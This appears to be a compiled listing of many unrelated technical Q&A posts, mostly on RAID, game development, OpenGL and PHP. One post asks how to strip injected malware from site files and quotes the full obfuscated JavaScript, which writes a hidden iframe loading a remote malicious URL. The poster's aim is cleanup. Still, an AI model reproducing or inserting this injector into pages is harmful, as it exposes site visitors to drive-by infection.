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  • Does mdadm allow to mix sata drives and USB -> sata drives ?

    - by marc
    Welcome, I have question, i have working array md5 of 5 drives. We are running out of space. Server don't have big usage but it have to be online. We can't add another controller. I got idea to buy a USB drive case ? Does mdadm allow to mix array created on sata drives by controller and virtual usb ? (we don't boot from mdadm) But im not sure is this will work ? Is usb drives are configurated before mdadm demon start ? Regards

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  • growing EBS RAID volume

    - by Ryan Fernandes
    I've created a RAID0 configuration with two 1GB EBS volumes, mounted at /dev/md0 using mdadm and formatted with XFS Next, I copied some files over to fill the volume to around 30% of its capacity (of 2GB) I then created snapshots of the volumes using ec2-consistent-snapshot and created volumes of the said snapshots but specified the volume size to be 2GB (effective doubling the capacity on each disk) I then spun up a new instance, assembled the RAID0 configuration on /dev/md0 from the 2 volumes mentioned above and mount it to /vol df -hT showed /vol as 2GB (as expected) Now I ran sudo xfs_growfs -d /vol. The command completed normally but reported blocks changed from 523776 to 524160 (only!) and df -hT still showed /vol as 2GB (instead of the expected 4GB) I rebooted, remounted, reassembled the RAID but it still reports the old size. EDIT: trying to grow the RAID using mdadm --grow yields mdadm: raid0 array /dev/md0 cannot be reshaped Is there any other way I can grow a RAID0 array?

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  • Need efficient way to keep enemy from getting hit multiple times by same source

    - by TenFour04
    My game's a simple 2D one, but this probably applies to many types of scenarios. Suppose my player has a sword, or a gun that shoots a projectile that can pass through and hit multiple enemies. While the sword is swinging, there is a duration where I am checking for the sword making contact with any enemy on every frame. But once an enemy is hit by that sword, I don't want him to continue getting hit over and over as the sword follows through. (I do want the sword to continue checking whether it is hitting other enemies.) I've thought of a couple different approaches (below), but they don't seem like good ones to me. I'm looking for a way that doesn't force cross-referencing (I don't want the enemy to have to send a message back to the sword/projectile). And I'd like to avoid generating/resetting multiple array lists with every attack. Each time the sword swings it generates a unique id (maybe by just incrementing a global static long). Every enemy keeps a list of id's of swipes or projectiles that have already hit them, so the enemy knows not to get hurt by something multiple times. Downside is that every enemy may have a big list to compare to. So projectiles and sword swipes would have to broadcast their end-of-life to all enemies and cause a search and remove on every enemy's array list. Seems kind of slow. Each sword swipe or projectile keeps its own list of enemies that it has already hit so it knows not to apply damage. Downsides: Have to generate a new list (probably pull from a pool and clear one) every time a sword is swung or a projectile shot. Also, this breaks down modularity, because now the sword has to send a message to the enemy, and the enemy has to send a message back to the sword. Seems to me that two-way streets like this are a great way to create very difficult-to-find bugs.

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  • Sorting for 2D Drawing

    - by Nexian
    okie, looked through quite a few similar questions but still feel the need to ask mine specifically (I know, crazy). Anyhoo: I am drawing a game in 2D (isometric) My objects have their own arrays. (i.e. Tiles[], Objects[], Particles[], etc) I want to have a draw[] array to hold anything that will be drawn. Because it is 2D, I assume I must prioritise depth over any other sorting or things will look weird. My game is turn based so Tiles and Objects won't be changing position every frame. However, Particles probably will. So I am thinking I can populate the draw[] array (probably a vector?) with what is on-screen and have it add/remove object, tile & particle references when I pan the screen or when a tile or object is specifically moved. No idea how often I'm going to have to update for particles right now. I want to do this because my game may have many thousands of objects and I want to iterate through as few as possible when drawing. I plan to give each element a depth value to sort by. So, my questions: Does the above method sound like a good way to deal with the actual drawing? What is the most efficient way to sort a vector? Most of the time it wont require efficiency. But for panning the screen it will. And I imagine if I have many particles on screen moving across multiple tiles, it may happen quite often. For reference, my screen will be drawing about 2,800 objects at any one time. When panning, it will be adding/removing about ~200 elements every second, and each new element will need adding in the correct location based on depth.

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  • 7 drived classes with one common base class

    - by user144905
    i have written the following code, //main.cpp #include<iostream> #include<string> #include"human.h" #include"computer.h" #include"referee.h" #include"RandomComputer.h" #include"Avalanche.h" #include"Bureaucrat.h" #include"Toolbox.h" #include"Crescendo.h" #include"PaperDoll.h" #include"FistfullODollors.h" using namespace std; int main() { Avalanche pla1; Avalanche pla2; referee f; pla1.disp(); for (int i=0;i<5;i++) { cout<<pla2.mov[i]; } return 0; } in this program all included classes except referee.h and human.h are drived from computer.h. each drived calls has a char array variable which is initialized when a member of a drived class is declared. the problem is that when i declare tow diffrent drived class memebers lets say Avalache and ToolBox. upon printing the char array for one of them using for loop it prints nothing. However if i declare only one of them in main.cpp the it works properly. and the file for computer.h is as such: #ifndef COMPUTER_H #define COMPUTER_H class computer { public: int nump; char mov[]; void disp(); }; #endif ToolBox.h is like this: #ifndef TOOLBOX_H #define TOOLBOX_H #include"computer.h" class Toolbox: public computer { public: Toolbox(); }; #endif finally Avalanche.h is as following: #ifndef AVALANCHE_H #define AVALANCHE_H #include"computer.h" class Avalanche: public computer { public: Avalanche(); }; #endif

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  • Trouble with Collada bones

    - by KyleT
    I have a Collada file with a rigged mesh. I've read the node tags in the library_visual_scenes tag and extracted the matrix for each node and stored everything in a hierarchical bone structure. My Matrix container is "row major", so I'd store the first float of a matrix tag in the 1st row, 1st column, the second in the 1st row, 2nd column, etc. From what I gather this is the Bind Pose Matrix. After that I went through the tag and extracted the float array in the source tag of the skin tag of the controller for the mesh. I stored each matrix from this float array in their corresponding Bone as the Inverse Bind Matrix. I also extracted the bind-shape-matrix and stored it. Now I'd like to draw the skeleton with OpenGL to see if everything is working correctly before I go about skinning. I iterate once over my bones and multiply a bone's Bind Pose Matrix by it's parents and store that. After that I iterate again over the bones and multiply the result of the previous matrix multiplication by the Inverse Bind Matrix and then by the Bind Shape Matrix. The results look something like this: [0.2, 9.2, 5.8, 1.2 ] [4.6, -3.3, -0.2, -0.1 ] [-1.8, 0.2, -4.2, -3.9 ] [0, 0, 0, 1 ] I've had to go to various sources to get the little understanding of Collada I have and books about 3d transform matricies can get pretty intense. I've hit a brick wall and if you could please read through this and see if there is something I'm doing wrong, and how I'd go about getting an X,Y,Z to draw a point for each of these joints once I've calculated the final transform, I'd really appreciate it.

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  • how to fully unit test functions and their internal validation

    - by Patrick
    I am just now getting into formal unit testing and have come across an issue in testing separate internal parts of functions. I have created a base class of data manipulation (i.e.- moving files, chmodding file, etc) and in moveFile() I have multiple levels of validation to pinpoint when a moveFile() fails (i.e.- source file not readable, destination not writeable). I can't seem to figure out how to force a couple particular validations to fail while not tripping the previous validations. Example: I want the copying of a file to fail, but by the time I've gotten to the actual copying, I've checked for everything that can go wrong before copying. Code Snippit: (Bad code on the fifth line...) // if the change permissions is set, change the file permissions if($chmod !== null) { $mod_result = chmod($destination_directory.DIRECTORY_SEPARATOR.$new_filename, $chmod); if($mod_result === false || $source_directory.DIRECTORY_SEPARATOR.$source_filename == '/home/k...../file_chmod_failed.qif') { DataMan::logRawMessage('File permissions update failed on moveFile [ERR0009] - ['.$destination_directory.DIRECTORY_SEPARATOR.$new_filename.' - '.$chmod.']', sfLogger::ALERT); return array('success' => false, 'type' => 'Internal Server Error [ERR0009]'); } } So how do I simulate the copy failing. My stop-gap measure was to perform a validation on the filename being copied and if it's absolute path matched my testing file, force the failure. I know this is very bad to put testing code into the actual code that will be used to run on the production server but I'm not sure how else to do it. Note: I am on PHP 5.2, symfony, using lime_test(). EDIT I am testing the chmodding and ensuring that the array('success' = false, 'type' = ..) is returned

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  • Java game design question (graphical objects)

    - by vemalsar
    Hello Guys, I'm beginner in game development, in Java and here on this site too and I have a game design question. Please comment my idea: I have a main loop which call update and draw method. I want to use an ArrayList which store graphical objects, they have coordinate and image or text to draw and my game objects extends this class. In update, I can choose which objects should be put in the array and in draw method I'll display the elements of array on the screen. I'm using a buffer and draw first there, but it is not important now I guess...Here is a simple (not full) code, only the logic: public class GamePanel extends JPanel implements KeyListener { ArrayList<graphicalObjects> graphArray = new ArrayList<graphicalObjects>(); public void update() { //change the game scene, update the graphArray, process input etc. } public void draw() { //draws every element of graphArray to a JPanel } public static main(String[] args) { while(true) { update(); draw(); } } } My questions: Should have I use interface or abstract class for graphicalObjects? graphicalObjects class and the ArrayList really needs or there is some better solution? How to draw objects? They draw themself with their own method or in the draw method I have to draw manually based on graphicalObjects variables (x,y coordinates, image etc.)? If this conception is wrong, please suggest another one! All comments are welcome and sorry if this is dumb question, thanks!

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  • Using openssl command line tool to encrypt/decrypt data, DES ECB

    - by smsrecv
    Hello How can I create a random 64 bit key for DEC ECB encryption/decryption, and then use the same key for encryption/decryption many times? All this must be done using openssl command line tool. In all the examples I have seen, they do not use a "key", they use "password". But I need a key - array of bytes - because I need to send it to the other party (I don't know which API they use for cryptography.) Then I need to use this key - array of bytes - to encrypt/decrypt data. Thnak you

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  • raid advice with SSD and two HDD

    - by Nin
    I have a new machine with one 128GB SSD and two 1TB HDD. On the SSD is the OS and my initial thought was to put the two HDD in RAID 1 for user data. After some more thought I came up with two other setups and now I'm in doubt :) Can someone advise what would be the best setup? 1: single SSD and HDD in RAID 1 (original thought) 2: Create 2 partitions on the HDD (128GB and 872GB). Put the two 872GB in RAID 1 and create another RAID 1 with the SSD and one 128GB HDD partition. 3: Create 2 partitions on the HDD (750/250), put the 705GB in RAID 1 and use the 2 250GB as backup and make automatic snapshots of the SSD to (one of) these partitions. I think the 2 main questions are: Is it advisable to create a raid array with only part of a drive and actively use the other part of that drive or should you always use the full disk? Is it advisable to create a raid 1 array with a SSD and HDD or will that blow the whole speed advantage of the SSD?

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  • Find last of match string automatically

    - by jowan
    I want to make id for entries as long as 7 digits.. while first entry is created, it will get id is 0000001 And my problem is i want to get id and add to 1 every time new entry is created.. I have a bunch of code and still confuse to implement it. $str_rep = "0000123"; $str_rep2 = "0005123"; // My character string can be like this $str_rep3 = "0009123"; // My character string can be like this $match_number= array(1,2,3,4,5,6,7,8,9); // I create array to do it automatically but it was not work. // I do it manually $get_str = strstr($str_rep, "1"); $get_str = strstr($str_rep2, "5"); $get_str = strstr($str_rep3, "9"); // Result echo $get_str . "<br>"; echo $get_str2 . "<br>"; echo $get_str3 . "<br>"; Thanks in advance

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  • Duplication of Windows 7 Backup

    - by Steven Pickles
    I use the built in backup utility for Windows 7 because it's automated and flexible enough to allow me to schedule a daily shadow copy backup of particular files and folders directly to a separate internal RAID 0 array (2 x 1TB). It's also lightweight and stays out of the way. For off-site backup purposes, each week I copy the contents of the internal backup from the RAID 0 array to an external 1 TB drive. I then store move this drive to a different building. The copy from the internal backup to the external backup typically works like this: mount and erase contents of external drive highlight "file" on internal drive, hit CTRL+C CTRL+V on root directory of external drive Is there a better way to synchronize? Microsoft's SyncToy application does a pitiful job, and often leaves the folders not truly synchronized... which completely defeats the ability to use the backup's restore feature.

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  • How to kill all screens that has been up longer then 4 weeks?

    - by Darkmage
    Im creating a script that i am executing every night at 03.00 that will kill all screens that has been running longer than 3 weeks. anyone done anything similar that can help? If you got a script or suggestion to a better method please help by posting :) I was thinking maybe somthing like this. First do a dump to textfile ps -U username -ef | grep SCREEN dump.txt then do a loop running through all lines of dump.txt with a regex and putting pid of the prosseses with STIME 3weeksago in a array. then do a kill loop on the array result.

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  • What is the correct way to implement Auth/ACL in MVC?

    - by WiseStrawberry
    I am looking into making a correctly laid out MVC Auth/ACL system. I think I want the authentication of a user (and the session handling) to be separate from the ACL system. (I don't know why but this seems a good idea from the things I've read.) What does MVC have to do with this question you ask? Because I wish for the application to be well integrated with my ACL. An example of a controller (CodeIgniter): <?php class forums extends MX_Controller { $allowed = array('users', 'admin'); $need_login = true; function __construct() { //example of checking if logged in. if($this->auth->logged_in() && $this->auth->is_admin()) { echo "you're logged in!"; } } public function add_topic() { if($this->auth->allowed('add_topic') { //some add topic things. } else { echo 'not allowed to add topic'; } } } ?> My thoughts $this->auth would be autoloaded in the system. I would like to check the $allowed array against the user currently (not) logged in and react accordingly. Is this a good way of doing things? I haven't seen much literature on MVC integration and Auth. I want to make things as easy as possible.

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  • A* PathFinding Not Consistent

    - by RedShft
    I just started trying to implement a basic A* algorithm in my 2D tile based game. All of the nodes are tiles on the map, represented by a struct. I believe I understand A* on paper, as I've gone through some pseudo code, but I'm running into problems with the actual implementation. I've double and tripled checked my node graph, and it is correct, so I believe the issue to be with my algorithm. This issue is, that with the enemy still, and the player moving around, the path finding function will write "No Path" an astounding amount of times and only every so often write "Path Found". Which seems like its inconsistent. This is the node struct for reference: struct Node { bool walkable; //Whether this node is blocked or open vect2 position; //The tile's position on the map in pixels int xIndex, yIndex; //The index values of the tile in the array Node*[4] connections; //An array of pointers to nodes this current node connects to Node* parent; int gScore; int hScore; int fScore; } Here is the rest: http://pastebin.com/cCHfqKTY This is my first attempt at A* so any help would be greatly appreciated.

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  • Proper way to do texture mapping in modern OpenGL?

    - by RubyKing
    I'm trying to do texture mapping using OpenGL 3.3 and GLSL 150. The problem is the texture shows but has this weird flicker I can show a video here. My texcords are in a vertex array. I have my fragment color set to the texture values and texel values. I have my vertex shader sending the texture cords to texture cordinates to be used in the fragment shader. I have my ins and outs setup and I still don't know what I'm missing that could be causing that flicker. Here is my code: Fragment shader #version 150 uniform sampler2D texture; in vec2 texture_coord; varying vec3 texture_coordinate; void main(void) { gl_FragColor = texture(texture, texture_coord); } Vertex shader #version 150 in vec4 position; out vec2 texture_coordinate; out vec2 texture_coord; uniform vec3 translations; void main() { texture_coord = (texture_coordinate); gl_Position = vec4(position.xyz + translations.xyz, 1.0); } Last bit Here is my vertex array with texture coordinates: GLfloat vVerts[] = { 0.5f, 0.5f, 0.0f, 0.0f, 1.0f, 0.0f, 0.5f, 0.0f, 1.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.5f, 0.0f, 0.0f, 1.0f, 0.0f}; //tex x and y If you need to see all the code, here is a link to every file. Thank you for your help.

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  • Summing up spreadsheet data when a column contains “#N/A”

    - by Doris
    I am using Goggle Spreadsheet to work up some historical stock data and I use a Google function (=googlefinance=…) to import the historical closing prices for a stock, then I work with that data further. But, in that list of data generated from the =googlefinance=… function, one of the amounts comes up as #N/A. I don’t know why, but it happens for various symbols that I have tried. When I use a max function on the array, which includes the N/A line, the max function does not come up with anything but an N/A, so the N/A throws off any further functions. I thought I’d create a second column to the right of the imported data in which I can give it an IF function, something like, If ((A1 <0), "0", A1), with the expectation that it would return 0 if cell A1 is the N/A, and the cell value if it is not N/A. However, this still returns N/A. I also tried an IS BLANK function but that resulted in the same NA. Does anyone have any suggestions for a workaround to eliminate the N/A from an array of numbers that I am trying to work with?

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  • Linux Raid: Can mdadm --grow a raid1 while mounted?

    - by Chris
    I have 2 500gb drives in a RAID1 setup that I needed to upgrade for more space. I mdadm --fail'ed each drive in turn and I used dd to copy each drive to it's respective larger drive (2tb each), removed the smaller drives and replaced them with the larger drives, and reassembled the array and forced a resync. So now I've got a 500gb RAID1 sitting on 2TB drives, and wish to grow them. The plan is to use mdadm --manage /dev/md0 --grow to grow them, then boot a rescue cd, assemble the array under that environment, and do the resize2fs on them. Can I use mdadm --grow on a mounted and live filesystem? Also, do I need more options to make sure the grow operation stays raid1?

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  • In developing a soap client proxy, which return structure is easier to use and more sensible?

    - by cori
    I'm writing (in PHP) a client/proxy for a SOAP web service. The return types are consistently wrapped in response objects that contain the return values. In many cases this make a lot of sense - for instance when multiple values are being returned: GetDetailsResponse Object ( Results Object ( [TotalResults] => 10 [NextPage] => 2 ) [Details] => Array ( [0] => Detail Object ( [Id] => 1 ) ) ) But some of the methods return a single scalar value or a single object or array wrapped in a response object: GetThingummyIdResponse Object ( [ThingummyId] => 42 ) In some cases these objects might be pretty deep, so getting at properties within requires drilling down several layers: $response->Details->Detail[0]->Contents->Item[5]->Id And if I unwrap them before passing them back I can strip out a layer from consumers' code. I know I'm probably being a little bit of an Architecture Astronaut here, but the latter style really bug me, so I've been working through my code to have my proxy methods just return the scalar value to the client code where there's no absolute need for a wrapper object. My question is, am I actually making things more difficult for the consumers of my code? Would I be better off just leaving the return values wrapped in response objects so that everything is consistent, or is removing unneccessary layers of indirection/abstraction worthwhile?

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  • Windows 2008 Best Raid Configuration

    - by Brandon Wilson
    I have 4 2TB hard drives and I was thinking about using Raid 10. This would give me 4TB correct? My next question is would it be easy to add more hard drives to the raid array. For example if I bought another hard drive can I add it to the array without backing up any data? Basically I want to be able to start off with 4TB and when the space becomes full add more space as needed. If this isn't possible with Raid 10, is it possible with any Raid configuration. Any suggestions would be appreciated. Thank you.

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  • What is the best way to store a table in C++

    - by Topo
    I'm programming a decision tree in C++ using a slightly modified version of the C4.5 algorithm. Each node represents an attribute or a column of your data set and it has a children per possible value of the attribute. My problem is how to store the training data set having in mind that I have to use a subset for each node so I need a quick way to only select a subset of rows and columns. The main goal is to do it in the most memory and time efficient possible (in that order of priority). The best way I have thought of is to have an array of arrays (or std::vector), or something like that, and for each node have a list (array, vector, etc) or something with the column,line(probably a tuple) pairs that are valid for that node. I now there should be a better way to do this, any suggestions? UPDATE: What I need is something like this: In the beginning I have this data: Paris 4 5.0 True New York 7 1.3 True Tokio 2 9.1 False Paris 9 6.8 True Tokio 0 8.4 False But for the second node I just need this data: Paris 4 5.0 New York 7 1.3 Paris 9 6.8 And for the third node: Tokio 2 9.1 Tokio 0 8.4 But with a table of millions of records with up to hundreds of columns. What I have in mind is keep all the data in a matrix, and then for each node keep the info of the current columns and rows. Something like this: Paris 4 5.0 True New York 7 1.3 True Tokio 2 9.1 False Paris 9 6.8 True Tokio 0 8.4 False Node 2: columns = [0,1,2] rows = [0,1,3] Node 3: columns = [0,1,2] rows = [2,4] This way on the worst case scenario I just have to waste size_of(int) * (number_of_columns + number_of_rows) * node That is a lot less than having an independent data matrix for each node.

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  • Recovering data from a Silicon Image SiI3114 RAID

    - by Isaac Truett
    I have a set of 3 disks in RAID 5 originally created with a Silicon Image SiI3114 on-board RAID controller. The old motherboard is dead. The new motherboard (which has a different raid controller) won't boot from the array. I have no reason to believe that the drives are damaged or corrupted. I'm 99% sure that the problem is that the new controller isn't compatible or I'm not setting it up properly. Is it possible to recover data from the drives using a different controller? Would a PCI card like this one allow me to read from the array again?

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  • Unreadable sectors reported by smartd, is it serious?

    - by stribika
    I have a RAID 5 array of 4 disks. In the last 2 days I began to see these messages in the log: Jun 13 23:01:05 localhost smartd[4537]: Device: /dev/sda [SAT], 1 Currently unreadable (pending) sectors Jun 13 23:01:05 localhost smartd[4537]: Device: /dev/sdb [SAT], 2 Currently unreadable (pending) sectors If I have 2 faulty disks then the array should not show all disks OK: md0 : active raid1 sdd1[3] sdb1[1] sdc1[2] sda1[0] 64128 blocks [4/4] [UUUU] Strangely there are no other problems just the log messages. I am worried because sda is new and I previously had problems with sdb. (Completely died but the guy who sold it to me fixed it somehow.) Am I in danger of losing data? What should I do now?

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  • How can I remove malware code in multiple files with sed?

    - by user47556
    I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

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  • Storage sizing for virtual machines

    - by njo
    I am currently doing research to determine the consolidation ratio my company could expect should we start using a virtualization platform. I find myself continually running into a dead end when researching how to translate observed performance (weeks of perfmon data) to hdd array requirements for a virtualization server. I am familiar with the concept of IOPs, but they seem to be an overly simplistic measurement that fails to take into account cache, write combining, etc. Is there a seminal work on storage array performance analysis that I'm missing? This seems like an area where hearsay and 'black magic' have taken over for cold, hard fact.

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